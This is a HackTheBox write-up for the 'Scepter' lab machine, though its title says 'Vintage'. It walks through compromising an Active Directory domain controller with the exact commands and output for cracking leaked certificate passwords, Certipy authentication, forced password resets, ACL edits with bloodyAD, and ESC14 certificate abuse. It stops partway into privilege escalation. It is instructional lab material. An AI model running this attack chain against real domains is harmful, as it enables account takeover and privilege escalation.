Vintage – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Hard
  • Platform: HackTheBox

Avatar scepter


Synopsis Link to heading

“Scepter” is a Hard machine from HackTheBox platform. This machine teaches how to use certificate files (.pfx) that are leaked in a machine for an Active Directory domain, lateral movement with the help of BloodHound, edit attributes to users and abuse Active Directory Certificate Services (AD CS) using these editable attributes.


User Link to heading

We start with a quick Nmap scan:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.65

We find multiple ports open such as 53 DNS, 88 Kerberos, 111 and 2049 Network File System (NFS), 135 Microsoft RPC, 389 LDAP, 445 SMB, 5985 WinRM; among others. Since Kerberos and SMB services are running, we can guess we are against an Active Directory environment.

We apply some recognition scans over these ports with -sVC flag:

❯ sudo nmap -sVC -p53,88,111,135,139,389,445,464,593,636,2049,3268,3269,5985,5986,9389,47001,49664,49665,49666,49667,49671,49686,49687,49688,49689,49702,49718,49732 10.10.11.65

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-24 11:57 -04
Nmap scan report for 10.10.11.65
Host is up (0.36s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-24 23:58:11Z)
111/tcp   open  rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
|_ssl-date: 2025-04-24T23:59:29+00:00; +8h00m03s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T23:59:30+00:00; +8h00m03s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
2049/tcp  open  mountd        1-3 (RPC #100005)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
|_ssl-date: 2025-04-24T23:59:29+00:00; +8h00m03s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T23:59:30+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after:  2025-11-01T00:41:41
| tls-alpn:
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2025-04-24T23:59:29+00:00; +8h00m03s from scanner time.
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49718/tcp open  msrpc         Microsoft Windows RPC
49732/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 8h00m02s, deviation: 0s, median: 8h00m02s
| smb2-time:
|   date: 2025-04-24T23:59:14
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 353.07 seconds

We can use NetExec against the targtet machine to obtain the machine name along the domain:

❯ nxc smb 10.10.11.65

SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)

Add the machine name (DC01), the domain (scepter.htb) and its FQDN (DC01.scepter.htb) along with its IP address to our /etc/hosts file:

❯ echo -e '10.10.11.65 DC01 DC01.scepter.htb scepter.htb' | sudo tee -a /etc/hosts

Once added, we remember that NFS service was running. This indicates that a mount can be exposed. We can check it using showmount command:

❯ showmount -e DC01.scepter.htb

Export list for DC01.scepter.htb:
/helpdesk (everyone)

We have a mount called helpdesk.

We will try to mount that directory into our attacker machine. For that, first create a directory that will store all the data:

❯ mkdir contentNFS

Now, since the shared resource had the name /helpdesk, use mount command and store it into our created directory:

❯ sudo mount -t nfs 10.10.11.65:/helpdesk ./contentNFS -o nolock

If we try to check its content we get access denied:

❯ cd contentNFS

cd: permission denied: contentNFS

Which can be solved using a shell as root:

❯ sudo bash

┌──(root㉿kali)-[/home/gunzf0x/HTB/HTBMachines/Hard/Scepter/content]
└─# cd contentNFS/

┌──(root㉿kali)-[/home/gunzf0x/HTB/HTBMachines/Hard/Scepter/content/contentNFS]
└─# ls
baker.crt  baker.key  clark.pfx  lewis.pfx  scott.pfx

We have multiple .pfx files (certificates for Active Directory Certificate Services), a .crt file and a .key file. We can extract all its content using sudo:

❯ sudo cp contentNFS/baker.crt contentNFS/baker.key contentNFS/clark.pfx contentNFS/lewis.pfx contentNFS/scott.pfx .

and remember to unmount this resource with umount command:

❯ sudo umount ./contentNFS

We can confirm that files in the mount are now in our attacker machine:

❯ ls -la

total 32
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Apr 24 12:31 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Apr 24 11:54 ..
-rwx------ 1 root    root    2484 Apr 24 12:31 baker.crt
-rwx------ 1 root    root    2029 Apr 24 12:31 baker.key
-rwx------ 1 root    root    3315 Apr 24 12:31 clark.pfx
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Apr 24 12:21 contentNFS
-rwx------ 1 root    root    3315 Apr 24 12:31 lewis.pfx
-rwx------ 1 root    root    3315 Apr 24 12:31 scott.pfx

Change the permissions of the copied files so we can read them later:

❯ sudo chmod 777 *.pfx

❯ sudo chmod 777 baker.crt

❯ sudo chmod 777 baker.key

If we attempt to authenticate using any of the .pfx files with Certipy tool we get an error:

❯ certipy auth -pfx scott.pfx -dc-ip 10.10.11.65 -username 'scott' -domain 'scepter.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got error: Invalid password or PKCS12 data
[-] Use -debug to print a stacktrace

Apparently .pfx files have a password.

We can use pfx2john to pass the hashes of this files to a format that can then be later be cracked with JohnTheRipper and attempt a Brute Force Password Cracking with this tool:

❯ pfx2john clark.pfx > clark_pfx_hash

❯ john --wordlist=/usr/share/wordlists/rockyou.txt clark_pfx_hash

Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword      (clark.pfx)
1g 0:00:00:00 DONE (2025-04-24 13:12) 3.571g/s 18285p/s 18285c/s 18285C/s cheska..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

❯ pfx2john scott.pfx > scott_pfx_hash

❯ john --wordlist=/usr/share/wordlists/rockyou.txt scott_pfx_hash

Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword      (scott.pfx)
1g 0:00:00:00 DONE (2025-04-24 13:20) 3.703g/s 18962p/s 18962c/s 18962C/s cheska..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

All .pfx files have the same password: newpassword.

Based on The Hacker Recipes to perform a PassTheCert attack we can use Certipy to “unprotect” these files. For example, for scott.pfx file:

❯ certipy cert -export -pfx scott.pfx -password "newpassword" -out unprotected_scott.pfx

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'unprotected_scott.pfx'

We can also create a list of potential users:

❯ echo -e 'Administrator\nbaker\nclark\nlewis\nscott' > potential_users.txt

❯ cat potential_users.txt

Administrator
baker
clark
lewis
scott

and check with Kerbrute if they exist:

❯ kerbrute userenum -d scepter.htb --dc 10.10.11.65 potential_users.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 04/24/25 - Ronnie Flathers @ropnop

2025/04/24 13:33:10 >  Using KDC(s):
2025/04/24 13:33:10 >   10.10.11.65:88

2025/04/24 13:33:11 >  [+] VALID USERNAME:       Administrator@scepter.htb
2025/04/24 13:33:11 >  Done! Tested 5 usernames (1 valid) in 0.488 seconds

We only get, for the moment, that Administrator user exists. This means that, for example, scott.pfx file is not a file for scott user.

However, if we use the “unprotected” .pfx file, Certipy suggests the name of the real owner:

❯ certipy auth -pfx unprotected_scott.pfx -dc-ip 10.10.11.65 -username 'scott' -domain 'scepter.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] The provided username does not match the identification found in the provided certificate: 'SCOTT' - 'o.scott'
Do you want to continue? (Y/n)

Which can also be obtained if we use grep with the unprotected .pfx file:

❯ cat unprotected_scott.pfx | grep -a scott

        &,dscepter10
0       *H          UUsers10Uo.scott0"0
+7
  o.scott@scepter.htb0K +7>0<:

Since clark.pfx, lewus.pfx and scott.pfx share all the same password we can create “unprotected” .pfx files of all of them in a simple Bash oneliner:

❯ for user in scott lewis clark; do certipy cert -export -pfx ${user}.pfx -password "newpassword" -out unprotected_${user}.pfx; done

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'unprotected_scott.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'unprotected_lewis.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'unprotected_clark.pfx'

and use the unprotected .pfx files to get the real usernames:

❯ for user in scott lewis clark; do strings unprotected_${user}.pfx | grep $user; done | tr -d '0K'

o.scott
o.scott@scepter.htb
e.lewis
e.lewis@scepter.htb
m.clark
m.clark@scepter.htb

But even using the unprotected .pfx files for all these users, they don’t work:

❯ certipy auth -pfx unprotected_scott.pfx -dc-ip 10.10.11.65 -username 'o.scott' -domain 'scepter.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: o.scott@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

❯ certipy auth -pfx unprotected_lewis.pfx -dc-ip 10.10.11.65 -username 'e.lewis' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: e.lewis@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

❯ certipy auth -pfx unprotected_clark.pfx -dc-ip 10.10.11.65 -username 'm.clark' -domain 'scepter.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: m.clark@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

We get the error: KDC_ERR_CLIENT_REVOKED. In short, based on Microsoft documentation this could be since the target accounts are disabled, locked or expired.

If we create an “updated” list of target users and use Kerbrute, we can see that these users do not exist in the domain:

❯ echo -e 'Administrator\nbaker\nm.clark\ne.lewis\no.scott' > potential_users_updated.txt

❯ kerbrute userenum -d scepter.htb --dc 10.10.11.65 potential_users_updated.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 04/24/25 - Ronnie Flathers @ropnop

2025/04/24 13:41:52 >  Using KDC(s):
2025/04/24 13:41:52 >   10.10.11.65:88

2025/04/24 13:41:52 >  [+] VALID USERNAME:       Administrator@scepter.htb
2025/04/24 13:41:52 >  Done! Tested 5 usernames (1 valid) in 0.442 seconds

The only thing that left is the baker.crt and baker.key files. Since all the .pfx files had as password newpassword, use that password when we try to generate a new pfx file using OpenSSL:

❯ openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt

Enter pass phrase for baker.key: newpassword
Enter Export Password:
Verifying - Enter Export Password:

Where, for the last 2 lines, we have set an empty password (no password) just pressing ENTER.

Use this file to authenticate with Certipy:

❯ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -username 'baker' -domain 'scepter.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] The provided username does not match the identification found in the provided certificate: 'BAKER' - 'd.baker'
Do you want to continue? (Y/n)

This file is for d.baker user.

Using Kerbrute, d.baker use does exist in the domain:

❯ echo -e 'Administrator\nd.baker' > potential_users_updated_2.txt

❯ kerbrute userenum -d scepter.htb --dc 10.10.11.65 potential_users_updated_2.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 04/24/25 - Ronnie Flathers @ropnop

2025/04/24 13:58:53 >  Using KDC(s):
2025/04/24 13:58:53 >   10.10.11.65:88

2025/04/24 13:58:53 >  [+] VALID USERNAME:       Administrator@scepter.htb
2025/04/24 13:58:53 >  [+] VALID USERNAME:       d.baker@scepter.htb
2025/04/24 13:58:53 >  Done! Tested 2 usernames (2 valid) in 0.491 seconds

Therefore, run Certipy to authenticate as d.baker user:

❯ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -username 'd.baker' -domain 'scepter.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Our old friend KRB_AP_ERR_SKEW is back.

Use faketime along with ntpdate to solve this issue repeating the previous command:

❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy auth -pfx baker.pfx -dc-ip 10.10.11.65 -username 'd.baker' -domain 'scepter.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce

We got an NT hash for d.baker user.

Check if this hash is correct with NetExec for this user:

❯ nxc smb 10.10.11.65 -u 'd.baker' -H '18b5fb0d99e7a475316213c15b6f22ce'

SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.65     445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

It is.

We can now extract information about the domain with bloodhound-python (along with faketime to avoid clock issues):

❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodhound-python -c ALL -u d.baker --hashes ':18b5fb0d99e7a475316213c15b6f22ce' -d scepter.htb -ns 10.10.11.65 -dc DC01.scepter.htb --zip

INFO: Found AD domain: scepter.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.scepter.htb
INFO: Found 11 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.scepter.htb
INFO: Done in 00M 52S
INFO: Compressing output into 20250424225850_bloodhound.zip

We upload the generated .zip file to Bloodhound (in my case I use the Community Edition, or CE) and search for d.baker user. We can see, at the right side, that we have the option Outbound Object Control where we can see:

Scepter 1

We have ForceChangePassword right over a.carter user.

We can then change the password of a.carter user using changepasswd.py from Impacket suite:

❯ impacket-changepasswd scepter.htb/a.carter@10.10.11.65 -newpass 'GunZf0x123!$' -altuser 'd.baker' -althash '18b5fb0d99e7a475316213c15b6f22ce' -no-pass -reset

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Setting the password of scepter.htb\a.carter as scepter.htb\d.baker
[*] Connecting to DCE/RPC as scepter.htb\d.baker
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Where we are changing the password of a.carter user to GunZf0x123!$.

Note
There is a task restoring the password for a.carter user every ~10 minutes.

Back to Bloodhound, we can see that a.carter user is part of IT Support group. This group has GenericAll permissions over Staff Access Certificate Organizational Unit (OU). At the same time, this OU contains d.baker user. A path summarized by Bloodhound is then:

Scepter 2

To grant FullControl (or GenericAll) permissions over STAFF ACCESS CERTIFICATE we can use bloodyAD. Here, we add GenericAll permissions to d.baker user using a.carter credentials:

❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -d scepter.htb -u a.carter -p 'GunZf0x123!$' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" d.baker

[+] d.baker has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB

Since the OU name was STAFF ACCESS CERTIFICATE, we might now have access to some certificates that can be abused in this machine. For that we can use Certipy:

❯ certipy find -username d.baker@sequel.htb -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -dc-ip 10.10.11.65 -vulnerable -enabled -stdout

<SNIP>
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
<SNIP>
    Template Name                       : StaffAccessCertificate
    Display Name                        : StaffAccessCertificate
    Certificate Authorities             : scepter-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireEmail
                                          SubjectRequireDnsAsCn
                                          SubjectAltRequireEmail
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SCEPTER.HTB\staff
      Object Control Permissions
        Owner                           : SCEPTER.HTB\Enterprise Admins
        Full Control Principals         : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Owner Principals          : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Dacl Principals           : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Property Principals       : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC9                              : 'SCEPTER.HTB\\staff' can enroll and template has no security extension

We get that this machine is vulnerable to ESC9. However, this is a fake positive. We have already exploited ESC9 at Certified Machine. But this does not work in this case.

We can see the flags SubjectAltRequireEmail and NoSecurityExtension for a certificate template named StaffAccessCertificate with CA (Certification Authority) scepter-DC01-CA. Searching a little bit we reach this SpecterOps blog talking about ESC14. An escalation method that allows to specify mapping to altSecurityIdentities attribute. To search for this attribute we can use ldapsearch along with credentials for a.carter user, filtering by altSecurityIdentities string. We get:

❯ ldapsearch -x -H ldap://10.10.11.65 -D 'a.carter@scepter.htb' -w 'GunZf0x123!$' -b "DC=scepter,DC=htb" | grep altSecurityIdentities

altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb

We get the value X509:<RFC822>h.brown@scepter.htb.

If we read the blog (which I highly recommend to understand this attack) and search for RFC822, we get that we can abuse ESC14 targeting an email:

The target has a weak X509RFC822 explicit mapping in altSecurityIdentities. The attacker can set the mail attribute on a victim principal to match the X509RFC822 mapping of the target. Then, the attacker can enroll a certificate as the victim and use this certificate to authenticate as the target.

In this case, it is clearly an email for h.brown user; a user that exists in the domain (as we can see at Bloodhound).

In short, we can set the email attribute of our current user (d.baker, which we have granted GenericAll permissions over Staff Access Certificate OU) to match the email in the X509:<RFC822> field, which was h.brown@scepter.htb. We can attempt this using bloodyAD:

❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' --host 10.10.11.65 -d scepter.htb set object d.baker mail -v h.brown@scepter.htb

[+] d.baker's mail has been updated

Here, we have changed the email of d.baker user to h.brown@scepter.htb.

Now, following the blog, we need to request a a certificate, using the template StaffAccessCertificate as d.baker user. We can use Certipy for this purpose using d.baker (who has its email updated):

❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy req -u d.baker -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.10.11.65 -target dc01.scepter.htb

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'

This generates a .pfx file that can be used to authenticate as h.brown user.

Use Certipy to use this .pfx file to authenticate as h.brown user and obtain its NT hash:

❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -username 'h.brown' -domain 'scepter.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: h.brown@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

and also generates a .ccache file for h.brown user.

Apparently, this hash is correct, but returns STATUS_ACCOUNT_RESTRICTION status:

❯ nxc smb 10.10.11.65 -u 'h.brown' -H '4ecf5242092c6fb8c360a08069c75a0c'

SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.65     445    DC01             [-] scepter.htb\h.brown:4ecf5242092c6fb8c360a08069c75a0c STATUS_ACCOUNT_RESTRICTION

But we can check if the generated .ccache file works to log in as this user:

❯ KRB5CCNAME=h.brown.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" nxc smb 10.10.11.65 -u 'h.brown' -k --use-kcache

SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.65     445    DC01             [+] SCEPTER.HTB\h.brown from ccache

If we check Bloodhound, this user belongs to Remote Management Users group. Which means this user should be able to log into the victim machine through WinRM service.

Scepter 3

To be able to log in through WinRM with evil-winrm, we need to edit /etc/krb5.conf file. NetExec, from version 1.4.0 (which can be checked running nxc --version; if its not updated and we have installed it with pipx we can run pipx upgrade netexec), has an option --generate-krb5-file for SMB module to easily generate a configuration file for Kerberos that can replace /etc/krb5.conf file:

❯ nxc smb 10.10.11.65 -u '' -p '' --generate-krb5-file GENERATED_KRB5_CONF

SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.65     445    DC01             [+] scepter.htb\:

❯ cat GENERATED_KRB5_CONF

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = SCEPTER.HTB

[realms]
    SCEPTER.HTB = {
        kdc = dc01.scepter.htb
        admin_server = dc01.scepter.htb
        default_domain = scepter.htb
    }

[domain_realm]
    .scepter.htb = SCEPTER.HTB
    scepter.htb = SCEPTER.HTB

Create a “backup” of our original /etc/krb5.conf file:

❯ sudo cp /etc/krb5.conf /etc/krb5_backup.conf

and replace /etc/krb5.conf file by the generated configuration file:

❯ sudo cp GENERATED_KRB5_CONF /etc/krb5.conf

Finally, use evil-winrm (along with faketime to avoid clock issues) to log into the victim machine as h.brown user:

❯ KRB5CCNAME=h.brown.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" evil-winrm -i DC01.scepter.htb -r SCEPTER.HTB

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents>

We can grab the user flag at h.brown’s Desktop.


NT Authority/System - Administrator Link to heading

From Bloodhound we can see that h.brown user is part of the group CMS, whose description is Certificate Management Service. Since we have already abused altSecurityIdentities, we can enumerate them into the victim machine using Get-WriteAltSeclDACEs.ps1. Download it into our attacker machine:

❯ wget https://raw.githubusercontent.com/JonasBK/Powershell/refs/heads/master/Get-WriteAltSecIDACEs.ps1 -q

and upload it using evil-winrm with its upload function to the victim machine:

*Evil-WinRM* PS C:\Users\h.brown\Documents> upload Get-WriteAltSecIDACEs.ps1

<SNIP>

*Evil-WinRM* PS C:\Users\h.brown\Documents> Import-Module .\Get-WriteAltSecIDACEs.ps1

Then, based on The Hacker Recipes, we can use this tool to see if we can edit this attribute for any user:

*Evil-WinRM* PS C:\Users\h.brown\Documents> Get-ADObject -Filter * -SearchBase "dc=SCEPTER,dc=HTB" | Get-WriteAltSecIDACEs


ObjectDN                : CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
InheritedObjectTypeName : User
ObjectTypeName          : Alt-Security-Identities
ActiveDirectoryRights   : WriteProperty
InheritanceType         : All
ObjectType              : 00fbf30c-91fe-11d1-aebc-0000f80367c1
InheritedObjectType     : bf967aba-0de6-11d0-a285-00aa003049e2
ObjectFlags             : ObjectAceTypePresent, InheritedObjectAceTypePresent
AccessControlType       : Allow
IdentityReference       : SCEPTER\CMS
IsInherited             : True
InheritanceFlags        : ContainerInherit
PropagationFlags        : None

ObjectDN                : OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
InheritedObjectTypeName : User
ObjectTypeName          : Alt-Security-Identities
ActiveDirectoryRights   : WriteProperty
InheritanceType         : Descendents
ObjectType              : 00fbf30c-91fe-11d1-aebc-0000f80367c1
InheritedObjectType     : bf967aba-0de6-11d0-a285-00aa003049e2
ObjectFlags             : ObjectAceTypePresent, InheritedObjectAceTypePresent
AccessControlType       : Allow
IdentityReference       : SCEPTER\CMS
IsInherited             : False
InheritanceFlags        : ContainerInherit
PropagationFlags        : InheritOnly

We can write and change altSecurityIdentities for a user called p.adams and an OU called Helpdesk Enrollment Certificate.

Searching for p.adams user at Bloodhound we get:

Scepter 4

